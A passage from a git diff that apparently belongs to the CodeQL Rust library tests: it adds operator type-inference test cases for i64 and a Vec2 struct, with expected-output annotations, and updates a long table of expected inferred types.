type=i64_rem:i64 method=rem + + // Arithmetic assignment operators + let mut i64_add_assign = 23i64; + i64_add_assign += 24i64; // $ MISSING: method=add_assign + + let mut i64_sub_assign = 25i64; + i64_sub_assign -= 26i64; // $ MISSING: method=sub_assign + + let mut i64_mul_assign = 27i64; + i64_mul_assign *= 28i64; // $ MISSING: method=mul_assign + + let mut i64_div_assign = 29i64; + i64_div_assign /= 30i64; // $ MISSING: method=div_assign + + let mut i64_rem_assign = 31i64; + i64_rem_assign %= 32i64; // $ MISSING: method=rem_assign + + // Bitwise operators + let i64_bitand = 33i64 & 34i64; // $ MISSING: type=i64_bitand:i64 method=bitand + let i64_bitor = 35i64 | 36i64; // $ MISSING: type=i64_bitor:i64 method=bitor + let i64_bitxor = 37i64 ^ 38i64; // $ MISSING: type=i64_bitxor:i64 method=bitxor + let i64_shl = 39i64 << 40i64; // $ MISSING: type=i64_shl:i64 method=shl + let i64_shr = 41i64 >> 42i64; // $ MISSING: type=i64_shr:i64 method=shr + + // Bitwise assignment operators + let mut i64_bitand_assign = 43i64; + i64_bitand_assign &= 44i64; // $ MISSING: method=bitand_assign + + let mut i64_bitor_assign = 45i64; + i64_bitor_assign |= 46i64; // $ MISSING: method=bitor_assign + + let mut i64_bitxor_assign = 47i64; + i64_bitxor_assign ^= 48i64; // $ MISSING: method=bitxor_assign + + let mut i64_shl_assign = 49i64; + i64_shl_assign <<= 50i64; // $ MISSING: method=shl_assign + + let mut i64_shr_assign = 51i64; + i64_shr_assign >>= 52i64; // $ MISSING: method=shr_assign + + let i64_neg = -53i64; // $ MISSING: type=i64_neg:i64 method=neg + let i64_not = !54i64; // $ MISSING: type=i64_not:i64 method=not + + // Test for all overloadable operators on Vec2 + let v1 = Vec2 { x: 1, y: 2 }; + let v2 = Vec2 { x: 3, y: 4 }; + + // Comparison operators + let vec2_eq = v1 == v2; // $ MISSING: type=vec2_eq:bool method=Vec2::eq + let vec2_ne = v1 != v2; // $ MISSING: type=vec2_ne:bool method=Vec2::ne + let vec2_lt = v1 < v2; // $ MISSING: type=vec2_lt:bool method=Vec2::lt + let vec2_le = v1 <= v2; // $ MISSING: type=vec2_le:bool method=Vec2::le + let vec2_gt = v1 > v2; // $ MISSING: type=vec2_gt:bool method=Vec2::gt + let vec2_ge = v1 >= v2; // $ MISSING: type=vec2_ge:bool method=Vec2::ge + + // Arithmetic operators + let vec2_add = v1 + v2; // $ MISSING: type=vec2_add:Vec2 method=Vec2::add + let vec2_sub = v1 - v2; // $ MISSING: type=vec2_sub:Vec2 method=Vec2::sub + let vec2_mul = v1 * v2; // $ MISSING: type=vec2_mul:Vec2 method=Vec2::mul + let vec2_div = v1 / v2; // $ MISSING: type=vec2_div:Vec2 method=Vec2::div + let vec2_rem = v1 % v2; // $ MISSING: type=vec2_rem:Vec2 method=Vec2::rem + + // Arithmetic assignment operators + let mut vec2_add_assign = v1; + vec2_add_assign += v2; // $ MISSING: method=Vec2::add_assign + + let mut vec2_sub_assign = v1; + vec2_sub_assign -= v2; // $ MISSING: method=Vec2::sub_assign + + let mut vec2_mul_assign = v1; + vec2_mul_assign *= v2; // $ MISSING: method=Vec2::mul_assign + + let mut vec2_div_assign = v1; + vec2_div_assign /= v2; // $ MISSING: method=Vec2::div_assign + + let mut vec2_rem_assign = v1; + vec2_rem_assign %= v2; // $ MISSING: method=Vec2::rem_assign + + // Bitwise operators + let vec2_bitand = v1 & v2; // $ MISSING: type=vec2_bitand:Vec2 method=Vec2::bitand + let vec2_bitor = v1 | v2; // $ MISSING: type=vec2_bitor:Vec2 method=Vec2::bitor + let vec2_bitxor = v1 ^ v2; // $ MISSING: type=vec2_bitxor:Vec2 method=Vec2::bitxor + let vec2_shl = v1 << 1u32; // $ MISSING: type=vec2_shl:Vec2 method=Vec2::shl + let vec2_shr = v1 >> 1u32; // $ MISSING: type=vec2_shr:Vec2 method=Vec2::shr + + // Bitwise assignment operators + let mut vec2_bitand_assign = v1; + vec2_bitand_assign &= v2; // $ MISSING: method=Vec2::bitand_assign + + let mut vec2_bitor_assign = v1; + vec2_bitor_assign |= v2; // $ MISSING: method=Vec2::bitor_assign + + let mut vec2_bitxor_assign = v1; + vec2_bitxor_assign ^= v2; // $ MISSING: method=Vec2::bitxor_assign + + let mut vec2_shl_assign = v1; + vec2_shl_assign <<= 1u32; // $ MISSING: method=Vec2::shl_assign + + let mut vec2_shr_assign = v1; + vec2_shr_assign >>= 1u32; // $ MISSING: method=Vec2::shr_assign + + // Prefix operators + let vec2_neg = -v1; // $ MISSING: type=vec2_neg:Vec2 method=Vec2::neg + let vec2_not = !v1; // $ MISSING: type=vec2_not:Vec2 method=Vec2::not + } +} + fn main() { field_access::f(); method_impl::f(); diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 8c3b8bc7d39f..3778b10b2c4c 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -833,792 +833,1408 @@ inferType | main.rs:742:26:742:26 | y | A | main.rs:725:5:726:14 | S2 | | main.rs:742:26:742:31 | y.m1() | | main.rs:725:5:726:14 | S2 | | main.rs:764:15:764:18 | SelfParam | | main.rs:762:5:765:5 | Self [trait MyTrait1] | -| main.rs:768:15:768:18 | SelfParam | | main.rs:767:5:778:5 | Self [trait MyTrait2] | -| main.rs:771:9:777:9 | { ... } | | main.rs:767:20:767:22 | Tr2 | -| main.rs:772:13:776:13 | if ... {...} else {...} | | main.rs:767:20:767:22 | Tr2 | -| main.rs:772:16:772:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:772:20:772:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:772:24:772:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:772:26:774:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | -| main.rs:773:17:773:20 | self | | main.rs:767:5:778:5 | Self [trait MyTrait2] | -| main.rs:773:17:773:25 | self.m1() | | main.rs:767:20:767:22 | Tr2 | -| main.rs:774:20:776:13 | { ... } | | main.rs:767:20:767:22 | Tr2 | -| main.rs:775:17:775:30 | ...::m1(...) | | main.rs:767:20:767:22 | Tr2 | -| main.rs:775:26:775:29 | self | | main.rs:767:5:778:5 | Self [trait MyTrait2] | -| main.rs:781:15:781:18 | SelfParam | | main.rs:780:5:791:5 | Self [trait MyTrait3] | -| main.rs:784:9:790:9 | { ... } | | main.rs:780:20:780:22 | Tr3 | -| main.rs:785:13:789:13 | if ... {...} else {...} | | main.rs:780:20:780:22 | Tr3 | -| main.rs:785:16:785:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:785:20:785:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:785:24:785:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:785:26:787:13 | { ... } | | main.rs:780:20:780:22 | Tr3 | -| main.rs:786:17:786:20 | self | | main.rs:780:5:791:5 | Self [trait MyTrait3] | -| main.rs:786:17:786:25 | self.m2() | | main.rs:747:5:750:5 | MyThing | -| main.rs:786:17:786:25 | self.m2() | A | main.rs:780:20:780:22 | Tr3 | -| main.rs:786:17:786:27 | ... .a | | main.rs:780:20:780:22 | Tr3 | -| main.rs:787:20:789:13 | { ... } | | main.rs:780:20:780:22 | Tr3 | -| main.rs:788:17:788:30 | ...::m2(...) | | main.rs:747:5:750:5 | MyThing | -| main.rs:788:17:788:30 | ...::m2(...) | A | main.rs:780:20:780:22 | Tr3 | -| main.rs:788:17:788:32 | ... .a | | main.rs:780:20:780:22 | Tr3 | -| main.rs:788:26:788:29 | self | | main.rs:780:5:791:5 | Self [trait MyTrait3] | -| main.rs:795:15:795:18 | SelfParam | | main.rs:747:5:750:5 | MyThing | -| main.rs:795:15:795:18 | SelfParam | A | main.rs:793:10:793:10 | T | -| main.rs:795:26:797:9 | { ... } | | main.rs:793:10:793:10 | T | -| main.rs:796:13:796:16 | self | | main.rs:747:5:750:5 | MyThing | -| main.rs:796:13:796:16 | self | A | main.rs:793:10:793:10 | T | -| main.rs:796:13:796:18 | self.a | | main.rs:793:10:793:10 | T | -| main.rs:804:15:804:18 | SelfParam | | main.rs:752:5:755:5 | MyThing2 | -| main.rs:804:15:804:18 | SelfParam | A | main.rs:802:10:802:10 | T | -| main.rs:804:35:806:9 | { ... } | | main.rs:747:5:750:5 | MyThing | -| main.rs:804:35:806:9 | { ... } | A | main.rs:802:10:802:10 | T | -| main.rs:805:13:805:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | -| main.rs:805:13:805:33 | MyThing {...} | A | main.rs:802:10:802:10 | T | -| main.rs:805:26:805:29 | self | | main.rs:752:5:755:5 | MyThing2 | -| main.rs:805:26:805:29 | self | A | main.rs:802:10:802:10 | T | -| main.rs:805:26:805:31 | self.a | | main.rs:802:10:802:10 | T | -| main.rs:813:44:813:44 | x | | main.rs:813:26:813:41 | T2 | -| main.rs:813:57:815:5 | { ... } | | main.rs:813:22:813:23 | T1 | -| main.rs:814:9:814:9 | x | | main.rs:813:26:813:41 | T2 | -| main.rs:814:9:814:14 | x.m1() | | main.rs:813:22:813:23 | T1 | -| main.rs:817:56:817:56 | x | | main.rs:817:39:817:53 | T | -| main.rs:819:13:819:13 | a | | main.rs:747:5:750:5 | MyThing | -| main.rs:819:13:819:13 | a | A | main.rs:757:5:758:14 | S1 | -| main.rs:819:17:819:17 | x | | main.rs:817:39:817:53 | T | -| main.rs:819:17:819:22 | x.m1() | | main.rs:747:5:750:5 | MyThing | -| main.rs:819:17:819:22 | x.m1() | A | main.rs:757:5:758:14 | S1 | -| main.rs:820:18:820:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:820:26:820:26 | a | | main.rs:747:5:750:5 | MyThing | -| main.rs:820:26:820:26 | a | A | main.rs:757:5:758:14 | S1 | -| main.rs:824:13:824:13 | x | | main.rs:747:5:750:5 | MyThing | -| main.rs:824:13:824:13 | x | A | main.rs:757:5:758:14 | S1 | -| main.rs:824:17:824:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | -| main.rs:824:17:824:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | -| main.rs:824:30:824:31 | S1 | | main.rs:757:5:758:14 | S1 | -| main.rs:825:13:825:13 | y | | main.rs:747:5:750:5 | MyThing | -| main.rs:825:13:825:13 | y | A | main.rs:759:5:760:14 | S2 | -| main.rs:825:17:825:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | -| main.rs:825:17:825:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | -| main.rs:825:30:825:31 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:827:18:827:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:827:26:827:26 | x | | main.rs:747:5:750:5 | MyThing | -| main.rs:827:26:827:26 | x | A | main.rs:757:5:758:14 | S1 | -| main.rs:827:26:827:31 | x.m1() | | main.rs:757:5:758:14 | S1 | -| main.rs:828:18:828:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:828:26:828:26 | y | | main.rs:747:5:750:5 | MyThing | -| main.rs:828:26:828:26 | y | A | main.rs:759:5:760:14 | S2 | -| main.rs:828:26:828:31 | y.m1() | | main.rs:759:5:760:14 | S2 | -| main.rs:830:13:830:13 | x | | main.rs:747:5:750:5 | MyThing | -| main.rs:830:13:830:13 | x | A | main.rs:757:5:758:14 | S1 | -| main.rs:830:17:830:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | -| main.rs:830:17:830:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | -| main.rs:830:30:830:31 | S1 | | main.rs:757:5:758:14 | S1 | -| main.rs:831:13:831:13 | y | | main.rs:747:5:750:5 | MyThing | -| main.rs:831:13:831:13 | y | A | main.rs:759:5:760:14 | S2 | -| main.rs:831:17:831:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | -| main.rs:831:17:831:33 | MyThing {...} | A | main.rs:759:5:760:14 | S2 | -| main.rs:831:30:831:31 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:833:18:833:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:833:26:833:26 | x | | main.rs:747:5:750:5 | MyThing | -| main.rs:833:26:833:26 | x | A | main.rs:757:5:758:14 | S1 | -| main.rs:833:26:833:31 | x.m2() | | main.rs:757:5:758:14 | S1 | -| main.rs:834:18:834:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:834:26:834:26 | y | | main.rs:747:5:750:5 | MyThing | -| main.rs:834:26:834:26 | y | A | main.rs:759:5:760:14 | S2 | -| main.rs:834:26:834:31 | y.m2() | | main.rs:759:5:760:14 | S2 | -| main.rs:836:13:836:13 | x | | main.rs:752:5:755:5 | MyThing2 | -| main.rs:836:13:836:13 | x | A | main.rs:757:5:758:14 | S1 | -| main.rs:836:17:836:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | -| main.rs:836:17:836:34 | MyThing2 {...} | A | main.rs:757:5:758:14 | S1 | -| main.rs:836:31:836:32 | S1 | | main.rs:757:5:758:14 | S1 | -| main.rs:837:13:837:13 | y | | main.rs:752:5:755:5 | MyThing2 | -| main.rs:837:13:837:13 | y | A | main.rs:759:5:760:14 | S2 | -| main.rs:837:17:837:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | -| main.rs:837:17:837:34 | MyThing2 {...} | A | main.rs:759:5:760:14 | S2 | -| main.rs:837:31:837:32 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:839:18:839:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:839:26:839:26 | x | | main.rs:752:5:755:5 | MyThing2 | -| main.rs:839:26:839:26 | x | A | main.rs:757:5:758:14 | S1 | -| main.rs:839:26:839:31 | x.m3() | | main.rs:757:5:758:14 | S1 | -| main.rs:840:18:840:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:840:26:840:26 | y | | main.rs:752:5:755:5 | MyThing2 | -| main.rs:840:26:840:26 | y | A | main.rs:759:5:760:14 | S2 | -| main.rs:840:26:840:31 | y.m3() | | main.rs:759:5:760:14 | S2 | -| main.rs:842:13:842:13 | x | | main.rs:747:5:750:5 | MyThing | -| main.rs:842:13:842:13 | x | A | main.rs:757:5:758:14 | S1 | -| main.rs:842:17:842:33 | MyThing {...} | | main.rs:747:5:750:5 | MyThing | -| main.rs:842:17:842:33 | MyThing {...} | A | main.rs:757:5:758:14 | S1 | -| main.rs:842:30:842:31 | S1 | | main.rs:757:5:758:14 | S1 | -| main.rs:843:13:843:13 | s | | main.rs:757:5:758:14 | S1 | -| main.rs:843:17:843:32 | call_trait_m1(...) | | main.rs:757:5:758:14 | S1 | -| main.rs:843:31:843:31 | x | | main.rs:747:5:750:5 | MyThing | -| main.rs:843:31:843:31 | x | A | main.rs:757:5:758:14 | S1 | -| main.rs:845:13:845:13 | x | | main.rs:752:5:755:5 | MyThing2 | -| main.rs:845:13:845:13 | x | A | main.rs:759:5:760:14 | S2 | -| main.rs:845:17:845:34 | MyThing2 {...} | | main.rs:752:5:755:5 | MyThing2 | -| main.rs:845:17:845:34 | MyThing2 {...} | A | main.rs:759:5:760:14 | S2 | -| main.rs:845:31:845:32 | S2 | | main.rs:759:5:760:14 | S2 | -| main.rs:846:13:846:13 | s | | main.rs:747:5:750:5 | MyThing | -| main.rs:846:13:846:13 | s | A | main.rs:759:5:760:14 | S2 | -| main.rs:846:17:846:32 | call_trait_m1(...) | | main.rs:747:5:750:5 | MyThing | -| main.rs:846:17:846:32 | call_trait_m1(...) | A | main.rs:759:5:760:14 | S2 | -| main.rs:846:31:846:31 | x | | main.rs:752:5:755:5 | MyThing2 | -| main.rs:846:31:846:31 | x | A | main.rs:759:5:760:14 | S2 | -| main.rs:864:22:864:22 | x | | file://:0:0:0:0 | & | -| main.rs:864:22:864:22 | x | &T | main.rs:864:11:864:19 | T | -| main.rs:864:35:866:5 | { ... } | | file://:0:0:0:0 | & | -| main.rs:864:35:866:5 | { ... } | &T | main.rs:864:11:864:19 | T | -| main.rs:865:9:865:9 | x | | file://:0:0:0:0 | & | -| main.rs:865:9:865:9 | x | &T | main.rs:864:11:864:19 | T | -| main.rs:869:17:869:20 | SelfParam | | main.rs:854:5:855:14 | S1 | -| main.rs:869:29:871:9 | { ... } | | main.rs:857:5:858:14 | S2 | -| main.rs:870:13:870:14 | S2 | | main.rs:857:5:858:14 | S2 | -| main.rs:874:21:874:21 | x | | main.rs:874:13:874:14 | T1 | -| main.rs:877:5:879:5 | { ... } | | main.rs:874:17:874:18 | T2 | -| main.rs:878:9:878:9 | x | | main.rs:874:13:874:14 | T1 | -| main.rs:878:9:878:16 | x.into() | | main.rs:874:17:874:18 | T2 | -| main.rs:882:13:882:13 | x | | main.rs:854:5:855:14 | S1 | -| main.rs:882:17:882:18 | S1 | | main.rs:854:5:855:14 | S1 | -| main.rs:883:18:883:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:883:26:883:31 | id(...) | | file://:0:0:0:0 | & | -| main.rs:883:26:883:31 | id(...) | &T | main.rs:854:5:855:14 | S1 | -| main.rs:883:29:883:30 | &x | | file://:0:0:0:0 | & | -| main.rs:883:29:883:30 | &x | &T | main.rs:854:5:855:14 | S1 | -| main.rs:883:30:883:30 | x | | main.rs:854:5:855:14 | S1 | -| main.rs:885:13:885:13 | x | | main.rs:854:5:855:14 | S1 | -| main.rs:885:17:885:18 | S1 | | main.rs:854:5:855:14 | S1 | -| main.rs:886:18:886:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:886:26:886:37 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:886:26:886:37 | id::<...>(...) | &T | main.rs:854:5:855:14 | S1 | -| main.rs:886:35:886:36 | &x | | file://:0:0:0:0 | & | -| main.rs:886:35:886:36 | &x | &T | main.rs:854:5:855:14 | S1 | -| main.rs:886:36:886:36 | x | | main.rs:854:5:855:14 | S1 | -| main.rs:888:13:888:13 | x | | main.rs:854:5:855:14 | S1 | -| main.rs:888:17:888:18 | S1 | | main.rs:854:5:855:14 | S1 | -| main.rs:889:18:889:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:889:26:889:44 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:889:26:889:44 | id::<...>(...) | &T | main.rs:854:5:855:14 | S1 | -| main.rs:889:42:889:43 | &x | | file://:0:0:0:0 | & | -| main.rs:889:42:889:43 | &x | &T | main.rs:854:5:855:14 | S1 | -| main.rs:889:43:889:43 | x | | main.rs:854:5:855:14 | S1 | -| main.rs:891:13:891:13 | x | | main.rs:854:5:855:14 | S1 | -| main.rs:891:17:891:18 | S1 | | main.rs:854:5:855:14 | S1 | -| main.rs:892:9:892:25 | into::<...>(...) | | main.rs:857:5:858:14 | S2 | -| main.rs:892:24:892:24 | x | | main.rs:854:5:855:14 | S1 | -| main.rs:894:13:894:13 | x | | main.rs:854:5:855:14 | S1 | -| main.rs:894:17:894:18 | S1 | | main.rs:854:5:855:14 | S1 | -| main.rs:895:13:895:13 | y | | main.rs:857:5:858:14 | S2 | -| main.rs:895:21:895:27 | into(...) | | main.rs:857:5:858:14 | S2 | -| main.rs:895:26:895:26 | x | | main.rs:854:5:855:14 | S1 | -| main.rs:909:22:909:25 | SelfParam | | main.rs:900:5:906:5 | PairOption | -| main.rs:909:22:909:25 | SelfParam | Fst | main.rs:908:10:908:12 | Fst | -| main.rs:909:22:909:25 | SelfParam | Snd | main.rs:908:15:908:17 | Snd | -| main.rs:909:35:916:9 | { ... } | | main.rs:908:15:908:17 | Snd | -| main.rs:910:13:915:13 | match self { ... } | | main.rs:908:15:908:17 | Snd | -| main.rs:910:19:910:22 | self | | main.rs:900:5:906:5 | PairOption | -| main.rs:910:19:910:22 | self | Fst | main.rs:908:10:908:12 | Fst | -| main.rs:910:19:910:22 | self | Snd | main.rs:908:15:908:17 | Snd | -| main.rs:911:43:911:82 | MacroExpr | | main.rs:908:15:908:17 | Snd | -| main.rs:911:50:911:81 | "PairNone has no second elemen... | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:912:43:912:81 | MacroExpr | | main.rs:908:15:908:17 | Snd | -| main.rs:912:50:912:80 | "PairFst has no second element... | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:913:37:913:39 | snd | | main.rs:908:15:908:17 | Snd | -| main.rs:913:45:913:47 | snd | | main.rs:908:15:908:17 | Snd | -| main.rs:914:41:914:43 | snd | | main.rs:908:15:908:17 | Snd | -| main.rs:914:49:914:51 | snd | | main.rs:908:15:908:17 | Snd | -| main.rs:940:10:940:10 | t | | main.rs:900:5:906:5 | PairOption | -| main.rs:940:10:940:10 | t | Fst | main.rs:922:5:923:14 | S2 | -| main.rs:940:10:940:10 | t | Snd | main.rs:900:5:906:5 | PairOption | -| main.rs:940:10:940:10 | t | Snd.Fst | main.rs:922:5:923:14 | S2 | -| main.rs:940:10:940:10 | t | Snd.Snd | main.rs:925:5:926:14 | S3 | -| main.rs:941:13:941:13 | x | | main.rs:925:5:926:14 | S3 | -| main.rs:941:17:941:17 | t | | main.rs:900:5:906:5 | PairOption | -| main.rs:941:17:941:17 | t | Fst | main.rs:922:5:923:14 | S2 | -| main.rs:941:17:941:17 | t | Snd | main.rs:900:5:906:5 | PairOption | -| main.rs:941:17:941:17 | t | Snd.Fst | main.rs:922:5:923:14 | S2 | -| main.rs:941:17:941:17 | t | Snd.Snd | main.rs:925:5:926:14 | S3 | -| main.rs:941:17:941:29 | t.unwrapSnd() | | main.rs:900:5:906:5 | PairOption | -| main.rs:941:17:941:29 | t.unwrapSnd() | Fst | main.rs:922:5:923:14 | S2 | -| main.rs:941:17:941:29 | t.unwrapSnd() | Snd | main.rs:925:5:926:14 | S3 | -| main.rs:941:17:941:41 | ... .unwrapSnd() | | main.rs:925:5:926:14 | S3 | -| main.rs:942:18:942:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:942:26:942:26 | x | | main.rs:925:5:926:14 | S3 | -| main.rs:947:13:947:14 | p1 | | main.rs:900:5:906:5 | PairOption | -| main.rs:947:13:947:14 | p1 | Fst | main.rs:919:5:920:14 | S1 | -| main.rs:947:13:947:14 | p1 | Snd | main.rs:922:5:923:14 | S2 | -| main.rs:947:26:947:53 | ...::PairBoth(...) | | main.rs:900:5:906:5 | PairOption | -| main.rs:947:26:947:53 | ...::PairBoth(...) | Fst | main.rs:919:5:920:14 | S1 | -| main.rs:947:26:947:53 | ...::PairBoth(...) | Snd | main.rs:922:5:923:14 | S2 | -| main.rs:947:47:947:48 | S1 | | main.rs:919:5:920:14 | S1 | -| main.rs:947:51:947:52 | S2 | | main.rs:922:5:923:14 | S2 | -| main.rs:948:18:948:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:948:26:948:27 | p1 | | main.rs:900:5:906:5 | PairOption | -| main.rs:948:26:948:27 | p1 | Fst | main.rs:919:5:920:14 | S1 | -| main.rs:948:26:948:27 | p1 | Snd | main.rs:922:5:923:14 | S2 | -| main.rs:951:13:951:14 | p2 | | main.rs:900:5:906:5 | PairOption | -| main.rs:951:13:951:14 | p2 | Fst | main.rs:919:5:920:14 | S1 | -| main.rs:951:13:951:14 | p2 | Snd | main.rs:922:5:923:14 | S2 | -| main.rs:951:26:951:47 | ...::PairNone(...) | | main.rs:900:5:906:5 | PairOption | -| main.rs:951:26:951:47 | ...::PairNone(...) | Fst | main.rs:919:5:920:14 | S1 | -| main.rs:951:26:951:47 | ...::PairNone(...) | Snd | main.rs:922:5:923:14 | S2 | -| main.rs:952:18:952:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:952:26:952:27 | p2 | | main.rs:900:5:906:5 | PairOption | -| main.rs:952:26:952:27 | p2 | Fst | main.rs:919:5:920:14 | S1 | -| main.rs:952:26:952:27 | p2 | Snd | main.rs:922:5:923:14 | S2 | -| main.rs:955:13:955:14 | p3 | | main.rs:900:5:906:5 | PairOption | -| main.rs:955:13:955:14 | p3 | Fst | main.rs:922:5:923:14 | S2 | -| main.rs:955:13:955:14 | p3 | Snd | main.rs:925:5:926:14 | S3 | -| main.rs:955:34:955:56 | ...::PairSnd(...) | | main.rs:900:5:906:5 | PairOption | -| main.rs:955:34:955:56 | ...::PairSnd(...) | Fst | main.rs:922:5:923:14 | S2 | -| main.rs:955:34:955:56 | ...::PairSnd(...) | Snd | main.rs:925:5:926:14 | S3 | -| main.rs:955:54:955:55 | S3 | | main.rs:925:5:926:14 | S3 | -| main.rs:956:18:956:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:956:26:956:27 | p3 | | main.rs:900:5:906:5 | PairOption | -| main.rs:956:26:956:27 | p3 | Fst | main.rs:922:5:923:14 | S2 | -| main.rs:956:26:956:27 | p3 | Snd | main.rs:925:5:926:14 | S3 | -| main.rs:959:13:959:14 | p3 | | main.rs:900:5:906:5 | PairOption | -| main.rs:959:13:959:14 | p3 | Fst | main.rs:922:5:923:14 | S2 | -| main.rs:959:13:959:14 | p3 | Snd | main.rs:925:5:926:14 | S3 | -| main.rs:959:35:959:56 | ...::PairNone(...) | | main.rs:900:5:906:5 | PairOption | -| main.rs:959:35:959:56 | ...::PairNone(...) | Fst | main.rs:922:5:923:14 | S2 | -| main.rs:959:35:959:56 | ...::PairNone(...) | Snd | main.rs:925:5:926:14 | S3 | -| main.rs:960:18:960:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:960:26:960:27 | p3 | | main.rs:900:5:906:5 | PairOption | -| main.rs:960:26:960:27 | p3 | Fst | main.rs:922:5:923:14 | S2 | -| main.rs:960:26:960:27 | p3 | Snd | main.rs:925:5:926:14 | S3 | -| main.rs:962:11:962:54 | ...::PairSnd(...) | | main.rs:900:5:906:5 | PairOption | -| main.rs:962:11:962:54 | ...::PairSnd(...) | Fst | main.rs:922:5:923:14 | S2 | -| main.rs:962:11:962:54 | ...::PairSnd(...) | Snd | main.rs:900:5:906:5 | PairOption | -| main.rs:962:11:962:54 | ...::PairSnd(...) | Snd.Fst | main.rs:922:5:923:14 | S2 | -| main.rs:962:11:962:54 | ...::PairSnd(...) | Snd.Snd | main.rs:925:5:926:14 | S3 | -| main.rs:962:31:962:53 | ...::PairSnd(...) | | main.rs:900:5:906:5 | PairOption | -| main.rs:962:31:962:53 | ...::PairSnd(...) | Fst | main.rs:922:5:923:14 | S2 | -| main.rs:962:31:962:53 | ...::PairSnd(...) | Snd | main.rs:925:5:926:14 | S3 | -| main.rs:962:51:962:52 | S3 | | main.rs:925:5:926:14 | S3 | -| main.rs:975:16:975:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:975:16:975:24 | SelfParam | &T | main.rs:973:5:980:5 | Self [trait MyTrait] | -| main.rs:975:27:975:31 | value | | main.rs:973:19:973:19 | S | -| main.rs:977:21:977:29 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:977:21:977:29 | SelfParam | &T | main.rs:973:5:980:5 | Self [trait MyTrait] | -| main.rs:977:32:977:36 | value | | main.rs:973:19:973:19 | S | -| main.rs:978:13:978:16 | self | | file://:0:0:0:0 | & | -| main.rs:978:13:978:16 | self | &T | main.rs:973:5:980:5 | Self [trait MyTrait] | -| main.rs:978:22:978:26 | value | | main.rs:973:19:973:19 | S | -| main.rs:984:16:984:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:984:16:984:24 | SelfParam | &T | main.rs:967:5:971:5 | MyOption | -| main.rs:984:16:984:24 | SelfParam | &T.T | main.rs:982:10:982:10 | T | -| main.rs:984:27:984:31 | value | | main.rs:982:10:982:10 | T | -| main.rs:988:26:990:9 | { ... } | | main.rs:967:5:971:5 | MyOption | -| main.rs:988:26:990:9 | { ... } | T | main.rs:987:10:987:10 | T | -| main.rs:989:13:989:30 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:989:13:989:30 | ...::MyNone(...) | T | main.rs:987:10:987:10 | T | -| main.rs:994:20:994:23 | SelfParam | | main.rs:967:5:971:5 | MyOption | -| main.rs:994:20:994:23 | SelfParam | T | main.rs:967:5:971:5 | MyOption | -| main.rs:994:20:994:23 | SelfParam | T.T | main.rs:993:10:993:10 | T | -| main.rs:994:41:999:9 | { ... } | | main.rs:967:5:971:5 | MyOption | -| main.rs:994:41:999:9 | { ... } | T | main.rs:993:10:993:10 | T | -| main.rs:995:13:998:13 | match self { ... } | | main.rs:967:5:971:5 | MyOption | -| main.rs:995:13:998:13 | match self { ... } | T | main.rs:993:10:993:10 | T | -| main.rs:995:19:995:22 | self | | main.rs:967:5:971:5 | MyOption | -| main.rs:995:19:995:22 | self | T | main.rs:967:5:971:5 | MyOption | -| main.rs:995:19:995:22 | self | T.T | main.rs:993:10:993:10 | T | -| main.rs:996:39:996:56 | ...::MyNone(...) | | main.rs:967:5:971:5 | MyOption | -| main.rs:996:39:996:56 | ...::MyNone(...) | T | main.rs:993:10:993:10 | T | -| main.rs:997:34:997:34 | x | | main.rs:967:5:971:5 | MyOption | -| main.rs:997:34:997:34 | x | T | main.rs:993:10:993:10 | T | -| main.rs:997:40:997:40 | x | | main.rs:967:5:971:5 